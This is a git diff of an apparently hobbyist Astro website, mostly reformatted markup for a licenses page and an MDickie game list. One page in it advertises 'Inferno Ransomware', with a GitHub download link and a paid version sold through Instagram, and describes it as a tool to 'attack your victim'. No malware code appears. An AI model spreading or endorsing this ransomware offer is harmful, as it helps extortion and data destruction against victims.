-    title="Inferno Ransomware"
-    description="Made by Pynx &semi; a Python / C++ ransomware <b>that could lock up systems!</b>"
-    buttons={[
-      { href: "#downloads", text: "Downloads", type: "primary" },
-      { href: "https://github.com/Discordmodsbers/inferno", text: "<i class='bi bi-github fs-6 me-2'></i> GitHub Repo", type: "secondary" },
-    ]},
-    dropdownItems={[
-      { navigationDesc: "General Information", navigationLink: "#general-info" },
-      { navigationDesc: "Requirements", navigationLink: "#requirements" },
-      { navigationDesc: "Versions", navigationLink: "#versions" },
-      { navigationDesc: "Downloads", navigationLink: "#downloads" },
-    ]}
-  />
-  <main id="inferno" class="container">
-    <div id="disclaimer">
-      <h2> Disclaimer </h2>
-      <p> Inferno is very dangerous. This will lock up systems, and may be even tied to <a href="/backup/script#phishing">Phishing</a>. Use a virtual machine, and never open these files on your physical machine. As a pre-caution, download them on your VM.</p>
-    </div>
-    <hr>
-    <div id="general-info">
-      <h2> General Information </h2>
-      <p> Inferno, made by Pynx, is a very malicious ransomware executable that is relentless. It has webservers to attack your victim. This ransomware also has a update function, included in either version.</p>
-    </div>
-    <hr>
-    <div id="requirements">
-      <h2> Requirements </h2>
-      <p><b>Python (for both the Python and C++ Versions of Inferno) Version:</b> <a href="https://www.python.org/downloads/release/python-3111/">3.11</a></p>
-    </div>
-    <hr>
-    <div id="versions">
-      <h2> Versions </h2>
-      <p> There are two versions, the C++ version, and the Python Version. The C++ version is completely free and can be downloaded <a href="#downloads">here</a>. The Python version costs 5 dollars (USD), and can be bought by contacting <a href="https://instagram.com/void.iso">fisted.mp3 (Pynx/Knox) on Instagram</a>.</p>
-    </div>
-    <hr>
-    <div id="downloads">
-      <h2>Downloads</h2>
-      <div class="d-grid d-sm-flex gap-2 mb-2">
-        <a class="btn btn-primary" href="https://github.com/Discordmodsbers/inferno/archive/refs/heads/main.zip" download>C++ Version</a> 
+  <div id="main-content">
+    <HeroPynx
+      title="Inferno Ransomware"
+      description="Made by Pynx &semi; a Python / C++ ransomware <b>that could lock up systems!</b>"
+      buttons={[
+        { href: "#downloads", text: "Downloads", type: "primary" },
+        { href: "https://github.com/Discordmodsbers/inferno", text: "<i class='bi bi-github fs-6 me-2'></i> GitHub Repo", type: "secondary" },
+      ]},
+      dropdownItems={[
+        { navigationDesc: "General Information", navigationLink: "#general-info" },
+        { navigationDesc: "Requirements", navigationLink: "#requirements" },
+        { navigationDesc: "Versions", navigationLink: "#versions" },
+        { navigationDesc: "Downloads", navigationLink: "#downloads" },
+      ]}
+    />
+    <main id="inferno" class="container">
+      <div id="disclaimer">
+        <h2> Disclaimer </h2>
+        <p> Inferno is very dangerous. This will lock up systems, and may be even tied to <a href="/backup/script#phishing">Phishing</a>. Use a virtual machine, and never open these files on your physical machine. As a pre-caution, download them on your VM.</p>
       </div>
-      <p> Note that the C++ version is in a Python file, to help it compile. </p>
-    </div>
-  </main>
-  <Footer author="Alex Toucan & Pynx"/>
+      <hr>
+      <div id="general-info">
+        <h2> General Information </h2>
+        <p> Inferno, made by Pynx, is a very malicious ransomware executable that is relentless. It has webservers to attack your victim. This ransomware also has a update function, included in either version.</p>
+      </div>
+      <hr>
+      <div id="requirements">
+        <h2> Requirements </h2>
+        <p><b>Python (for both the Python and C++ Versions of Inferno) Version:</b> <a href="https://www.python.org/downloads/release/python-3111/">3.11</a></p>
+      </div>
+      <hr>
+      <div id="versions">
+        <h2> Versions </h2>
+        <p> There are two versions, the C++ version, and the Python Version. The C++ version is completely free and can be downloaded <a href="#downloads">here</a>. The Python version costs 5 dollars (USD), and can be bought by contacting <a href="https://instagram.com/void.iso">fisted.mp3 (Pynx/Knox) on Instagram</a>.</p>
+      </div>
+      <hr>
+      <div id="downloads">
+        <h2>Downloads</h2>
+        <div class="d-grid d-sm-flex gap-2 mb-2">
+          <a class="btn btn-primary" href="https://github.com/Discordmodsbers/inferno/archive/refs/heads/main.zip" download>C++ Version</a> 
+        </div>
+        <p> Note that the C++ version is in a Python file, to help it compile. </p>
+      </div>
+    </main>
+    <Footer author="Alex Toucan & Pynx" />
+  </div>
   <BackToTop />
 </div>
 <Scripts />
diff --git a/src/pages/licenses.astro b/src/pages/licenses.astro
index 5c58acf4b..4ff369f0f 100644
--- a/src/pages/licenses.astro
+++ b/src/pages/licenses.astro
@@ -11,160 +11,160 @@ import AccordionItem from '../components/accordion/AccordionItem.astro';
 <Head title="Licenses" description="Licenses of all our resources." author="Alex Toucan" />
 <div id="page">
   <Navbar />
-  <main id="licenses" class="container">
-    <h1 class="title">Licenses</h1>
-    <Accordion parent="licensesAccordion">
-          <Fragment slot="accordion-content">
-            <AccordionItem title="atproducts.xyz License" id="atproductsxyz" parent="licensesAccordion">
-              <Fragment slot="accordion-item-content">
-                <h2>atproducts.xyz License</h2>
+  <div id="main-content">
+    <main id="licenses" class="container">
+      <h1 class="title">Licenses</h1>
+      <Accordion parent="licensesAccordion">
+        <Fragment slot="accordion-content">
+          <AccordionItem title="atproducts.xyz License" id="atproductsxyz" parent="licensesAccordion">
+            <Fragment slot="accordion-item-content">
+              <h2>atproducts.xyz License</h2>
+              <p>
+                <i>Note that this license includes a copy of the <a href="https://choosealicense.com/licenses/mit/">MIT license</a>. </i>
+              </p>
+              <div>
+                <p>atproducts.xyz's license is labeled as the MIT license, meaning you can do anything you want with this site except illegal activies.</p>
+                <h3 class="mt-2">MIT License</h3>
+                <p> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: <br>
+                  <br> The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. <br>
+                  <br> THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+                </p>
+              </div>
+            </Fragment>
+          </AccordionItem>
+          <AccordionItem title="Bootstrap &amp; Bootstrap Icons License" id="bootstrap" parent="licensesAccordion">
+            <Fragment slot="accordion-item-content">
+              <h2>Bootstrap &amp; Bootstrap Icons License</h2>
+              <p>
+                <i>Note that this license is a direct copy of the <a href="https://choosealicense.com/licenses/mit/">MIT license</a>. </i>
+              </p>
+              <div>
+                <p>The MIT License (MIT) <br>
+                  <br> Copyright (c) 2011-2023 The Bootstrap Authors <br>
+                  <br> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: <br>
+                  <br> The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. <br>
+                  <br> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+                </p>
+              </div>
+            </Fragment>
+          </AccordionItem>
+          <AccordionItem title="Astro License" id="astro" parent="licensesAccordion">
+            <Fragment slot="accordion-item-content">
+              <h2>Astro License</h2>
+              <p>
+                <i>Note that this license is a direct copy of the <a href="https://choosealicense.com/licenses/mit/">MIT license</a>. </i>
+              </p>
+              <div>
+                <p>The MIT License (MIT) <br>
+                  <br> Copyright (c) 2021 Fred K. Schott <br>
+                  <br> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: <br>
+                  <br> The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. <br>
+                  <br> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+                </p>
+              </div>
+            </Fragment>
+          </AccordionItem>
+          <AccordionItem title="JQuery License" id="jquery" parent="licensesAccordion">
+            <Fragment slot="accordion-item-content">
+              <h2>JQuery License</h2>
+              <div>
                 <p>
-                  <i>Note that this license includes a copy of the <a href="https://opensource.org/license/mit/">MIT license</a>. </i>
+                  <strong>Note:</strong> For the purposes of this document, the term "Project" will refer to any <a href="https://js.foundation">JS Foundation</a> project using the MIT license <strong>AND</strong> referencing this document in the header of the distributed Project code or Project website source code.
                 </p>
-                <div>
-                  <p>atproducts.xyz's license is labeled as the MIT license, meaning you can do anything you want with this site except illegal activies.</p>
-                  <h3 class="mt-2">MIT License</h3>
-                  <p> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: <br>
-                    <br> The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. <br>
-                    <br> THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-                  </p>
-                </div>
-              </Fragment>
-            </AccordionItem>
-            <AccordionItem title="Bootstrap &amp; Bootstrap Icons License" id="bootstrap" parent="licensesAccordion">
-              <Fragment slot="accordion-item-content">
-                <h2>Bootstrap &amp; Bootstrap Icons License</h2>
+                <h3>Source Code</h3>
+                <p>Projects referencing this document are released under the terms of the <a href="https://tldrlegal.com/license/mit-license">MIT license</a>. </p>
+                <p>The MIT License is simple and easy to understand and it places almost no restrictions on what you can do with the Project.</p>
+                <p>You are free to use the Project in any other project (even commercial projects) as long as the copyright header is left intact.</p>
+                <h3>Sample Code</h3>
+                <p>All demos and examples, whether in a Project's repository or displayed on a Project site, are released under the terms of the license as specified in the relevant repository. Many Projects choose to release their sample code under the terms of <a href="https://creativecommons.org/public-domain/cc0/">CC0</a>. </p>
+                <p>CC0 is even more permissive than the MIT license, allowing you to use the code in any manner you want, without any copyright headers, notices, or other attribution.</p>
+                <h3>Web Sites</h3>
+                <p>The content on a Project web site referencing this document in its header is released under the terms of the license specified in the website's repository or if not specified, under the <a href="https://tldrlegal.com/license/mit-license">MIT license</a>. </p>
                 <p>
-                  <i>Note that this license is a direct copy of the <a href="https://opensource.org/license/mit/">MIT license</a>. </i>
+                  <strong>The design, layout, and look-and-feel of JS Foundation project web sites are not licensed for use and may not be used on any site, personal or commercial, without prior written consent from the JS Foundation</strong>.
                 </p>
-                <div>
-                  <p>The MIT License (MIT) <br>
-                    <br> Copyright (c) 2011-2023 The Bootstrap Authors <br>
-                    <br> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: <br>
-                    <br> The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. <br>
-                    <br> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-                  </p>
-                </div>
-              </Fragment>
-            </AccordionItem>
-            <AccordionItem title="Astro License" id="astro" parent="licensesAccordion">
-              <Fragment slot="accordion-item-content">
-                <h2>Astro License</h2>
+                <p>For further information regarding JS Foundation licensing and intellectual property, please review the <a href="https://js.foundation/pdf/ip-policy.pdf">JS Foundation IP Policy</a>. </p>
+              </div>
+            </Fragment>
+          </AccordionItem>
+          <AccordionItem title="highlight.js License" id="highliht" parent="licensesAccordion">
+            <Fragment slot="accordion-item-content">
+              <h2>highlight.js License</h2>
+              <p>
+                <i>Note that this license is a direct copy of the <a href="https://choosealicense.com/licenses/bsd-3-clause/">BSD 3-Clause "New" or "Revised" License</a>. </i>
+              </p>
+              <div>
                 <p>
-                  <i>Note that this license is a direct copy of the <a href="https://opensource.org/license/mit/">MIT license</a>. </i>
+                  BSD 3-Clause License
+                  <br><br>
+                  Copyright (c) 2006, Ivan Sagalaev.<br>
+                  All rights reserved.
+                  <br><br>
+                  Redistribution and use in source and binary forms, with or without
+                  modification, are permitted provided that the following conditions are met:
+                  <br><br>
+                  * Redistributions of source code must retain the above copyright notice, this
+                    list of conditions and the following disclaimer.
+                  <br><br>
+                  * Redistributions in binary form must reproduce the above copyright notice,
+                    this list of conditions and the following disclaimer in the documentation
+                    and/or other materials provided with the distribution.
+                  <br><br>
+                  * Neither the name of the copyright holder nor the names of its
+                    contributors may be used to endorse or promote products derived from
+                    this software without specific prior written permission.
+                  <br><br>
+                  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+                  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+                  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+                  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+                  FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+                  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+                  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+                  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+                  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+                  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
                 </p>
-                <div>
-                  <p>The MIT License (MIT) <br>
-                    <br> Copyright (c) 2021 Fred K. Schott <br>
-                    <br> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: <br>
-                    <br> The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. <br>
-                    <br> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-                  </p>
-                </div>
-              </Fragment>
-            </AccordionItem>
-              <AccordionItem title="JQuery License" id="jquery" parent="licensesAccordion">
-              <Fragment slot="accordion-item-content">
-                <h2>JQuery License</h2>
-                <div>
-                  <p>
-                    <strong>Note:</strong> For the purposes of this document, the term "Project" will refer to any <a href="https://js.foundation">JS Foundation</a> project using the MIT license <strong>AND</strong> referencing this document in the header of the distributed Project code or Project website source code.
-                  </p>
-                  <h3>Source Code</h3>
-                  <p>Projects referencing this document are released under the terms of the <a href="https://tldrlegal.com/license/mit-license">MIT license</a>. </p>
-                  <p>The MIT License is simple and easy to understand and it places almost no restrictions on what you can do with the Project.</p>
-                  <p>You are free to use the Project in any other project (even commercial projects) as long as the copyright header is left intact.</p>
-                  <h3>Sample Code</h3>
-                  <p>All demos and examples, whether in a Project's repository or displayed on a Project site, are released under the terms of the license as specified in the relevant repository. Many Projects choose to release their sample code under the terms of <a href="https://creativecommons.org/public-domain/cc0/">CC0</a>. </p>
-                  <p>CC0 is even more permissive than the MIT license, allowing you to use the code in any manner you want, without any copyright headers, notices, or other attribution.</p>
-                  <h3>Web Sites</h3>
-                  <p>The content on a Project web site referencing this document in its header is released under the terms of the license specified in the website's repository or if not specified, under the <a href="https://tldrlegal.com/license/mit-license">MIT license</a>. </p>
-                  <p>
-                    <strong>The design, layout, and look-and-feel of JS Foundation project web sites are not licensed for use and may not be used on any site, personal or commercial, without prior written consent from the JS Foundation</strong>.
-                  </p>
-                  <p>For further information regarding JS Foundation licensing and intellectual property, please review the <a href="https://js.foundation/pdf/ip-policy.pdf">JS Foundation IP Policy</a>. </p>
-                </div>
-              </Fragment>
-            </AccordionItem>
-    </Accordion>
-<hr>
-<h6>BELOW IS DRAFTED TO BE REMOVED</h6>
-    <div id="content" class="d-grid gap-2">
-      <div id="first" class="col-12 border p-2 my-2 rounded-2">
-        <h3>1st-party Licenses</h3>
-        <div class="mx-1">
-          <div class="border" id="ours">
-            <h3 class="title">atproducts.xyz License</h3>
-            <p>
-              <i>Note that this license includes a copy of the <a href="https://opensource.org/license/mit/">MIT license</a>. </i>
-            </p>
-            <div class="basics-scroll m-2" style="height: 150px">
-              <p>atproducts.xyz's license is labeled as the MIT license, meaning you can do anything you want with this site except illegal activies.</p>
-              <h3 class="mt-2">MIT License</h3>
-              <p> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: <br>
-                <br> The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. <br>
-                <br> THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+              </div>
+            </Fragment>
+          </AccordionItem>
+          <AccordionItem title="Dracula Theme License" id="dracula" parent="licensesAccordion">
+            <Fragment slot="accordion-item-content">
+              <h2>Dracula Theme License</h2>
+              <p>
+                <i>Note that this license is a direct copy of the <a href="https://choosealicense.com/licenses/mit/">MIT license</a>. </i>
               </p>
-            </div>
-          </div>
-        </div>
-      </div>
-      <hr>
-      <div id="third" class="col-12 border p-2 my-2 rounded-2">
-        <h3>3rd-party Licenses</h3>
-        <div class="border" id="bootstrap">
-          <h3 class="title">Bootstrap &amp; Bootstrap Icons License</h3>
-          <p>
-            <i>Note that this license is a direct copy of the <a href="https://opensource.org/license/mit/">MIT license</a>. </i>
-          </p>
-          <div class="basics-scroll m-2" style="height: 150px">
-            <p>The MIT License (MIT) <br>
-              <br> Copyright (c) 2011-2023 The Bootstrap Authors <br>
-              <br> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: <br>
-              <br> The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. <br>
-              <br> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-            </p>
-          </div>
-        </div>
-        <div class="border" id="astro">
-          <h3 class="title">Astro License</h3>
-          <p>
-            <i>Note that this license is a direct copy of the <a href="https://opensource.org/license/mit/">MIT license</a>. </i>
-          </p>
-          <div class="basics-scroll m-2" style="height: 150px">
-            <p>The MIT License (MIT) <br>
-              <br> Copyright (c) 2021 Fred K. Schott <br>
-              <br> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: <br>
-              <br> The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. <br>
-              <br> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-            </p>
-          </div>
-        </div>
-        <div class="border" id="jquery">
-          <h3 class="title">JQuery License</h3>
-          <div class="basics-scroll m-2" style="height: 150px">
-            <p>
-              <strong>Note:</strong> For the purposes of this document, the term "Project" will refer to any <a href="https://js.foundation">JS Foundation</a> project using the MIT license <strong>AND</strong> referencing this document in the header of the distributed Project code or Project website source code.
-            </p>
-            <h3>Source Code</h3>
-            <p>Projects referencing this document are released under the terms of the <a href="https://tldrlegal.com/license/mit-license">MIT license</a>. </p>
-            <p>The MIT License is simple and easy to understand and it places almost no restrictions on what you can do with the Project.</p>
-            <p>You are free to use the Project in any other project (even commercial projects) as long as the copyright header is left intact.</p>
-            <h3>Sample Code</h3>
-            <p>All demos and examples, whether in a Project's repository or displayed on a Project site, are released under the terms of the license as specified in the relevant repository. Many Projects choose to release their sample code under the terms of <a href="https://tldrlegal.com/l/cc0-1.0">CC0</a>. </p>
-            <p>CC0 is even more permissive than the MIT license, allowing you to use the code in any manner you want, without any copyright headers, notices, or other attribution.</p>
-            <h3>Web Sites</h3>
-            <p>The content on a Project web site referencing this document in its header is released under the terms of the license specified in the website's repository or if not specified, under the <a href="https://tldrlegal.com/license/mit-license">MIT license</a>. </p>
-            <p>
-              <strong>The design, layout, and look-and-feel of JS Foundation project web sites are not licensed for use and may not be used on any site, personal or commercial, without prior written consent from the JS Foundation</strong>.
-            </p>
-            <p>For further information regarding JS Foundation licensing and intellectual property, please review the <a href="https://js.foundation/pdf/ip-policy.pdf">JS Foundation IP Policy</a>. </p>
-          </div>
-        </div>
-      </div>
-    </div>
-  </main>
-  <Footer />
+              <div>
+                <p>
+                  The MIT License (MIT)
+                  <br><br>
+                  Copyright (c) 2016-present Dracula Theme
+                  <br><br>
+                  Permission is hereby granted, free of charge, to any person obtaining a copy
+                  of this software and associated documentation files (the "Software"), to deal
+                  in the Software without restriction, including without limitation the rights
+                  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+                  copies of the Software, and to permit persons to whom the Software is
+                  furnished to do so, subject to the following conditions:
+                  <br><br>
+                  The above copyright notice and this permission notice shall be included in all
+                  copies or substantial portions of the Software.
+                  <br><br>
+                  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+                  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+                  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+                  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+                  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+                  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+                  SOFTWARE.
+                </p>
+              </div>
+            </Fragment>
+          </AccordionItem>
+        </Accordion>
+    </main>
+    <Footer />
+  </div>
   <BackToTop />
 </div>
-<Scripts />
+<Scripts />
\ No newline at end of file
diff --git a/src/pages/mdickie.astro b/src/pages/mdickie.astro
index 69548d6e3..d636d3dd2 100644
--- a/src/pages/mdickie.astro
+++ b/src/pages/mdickie.astro
@@ -10,835 +10,837 @@ import BackToTop from '../components/BackToTop.astro';
 <Head title="MDickie Projects" heroid="mdickie" description="Wanna see all of MDickie's public projects? Here you go!" keywords="AT Products, MDickie" author="Alex Toucan"/>
 <div id="page">
   <Navbar />
-  <Hero id="mdickie" description="This is a fanmade site about what MDickie has developed since the 1990s!" imageSrc="/media/images/mdickiepro.webp" imageWidth="50%" minImageWidth="250px" imageClasses="bg-light p-1 bg-opacity-50 rounded-2" 
-    buttons={[
-      { href: "http://mdickie.com/", text: "MDickie.com", type: "primary" },
-    ]},
-  />
-  <main id="mdickie">
-    <div id="content">
-      <div class="table-responsive text-white">
-        <div class="container px-2 px-sm-0 mx-auto">
-          <div class="m-0" style="white-space: pre-line;">
-            <style>
-              th {
-                overflow: hidden !important;
-              }
-            </style>
-            <div dir="ltr" class="table-responsive rounded-2">
-              <table class="table table-hover overflow-auto" style="table-layout: fixed;" cellspacing="0" cellpadding="0">
-                <tbody>
-                  <tr>
-                    <th style="width:30px; vertical-align: middle;">#</th>
-                    <th style="width:302px; vertical-align: middle;">Projects</th>
-                    <th style="width:400px; vertical-align: middle;">Devices/Files</th>
-                    <th style="width:85px; vertical-align: middle;">Date (MM/YY)</th>
-                    <th style="width:250px; vertical-align: middle;">Notes</th>
-                  </tr>
-                </tbody>
-                <tbody>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px; vertical-align: middle;">
-                      <div style="line-height: 34px; vertical-align: middle;">1</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Dial Me Sideways</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> or <span><a target="_blank" href="https://github.com/otya128/winevdm">WineVDM</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/Dial%20Me%20Sideways.EXE">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">98-99</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">2</div>
-                    </th>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">Jumble Saler</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">MS-DOS/<span><a target="_blank" href="https://www.dosbox.com/">DOSBox</a></span> or <span><a target="_blank" href="https://github.com/otya128/winevdm">WineVDM</a></span> (<span><a target="_blank" href="https://mdickie.netlify.app/files/Jumble%20Saler.EXE">Download</a></span>)</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;">98-99</td>
-                    <td dir="ltr" style="height: 34px; vertical-align: middle;"></td>
-                  </tr>
-                  <tr style="height: 34px; vertical-align: middle;">
-                    <th style="height: 34px;">
-                      <div style="line-height: 34px; vertical-align: middle;">3</div>
-                    </th>
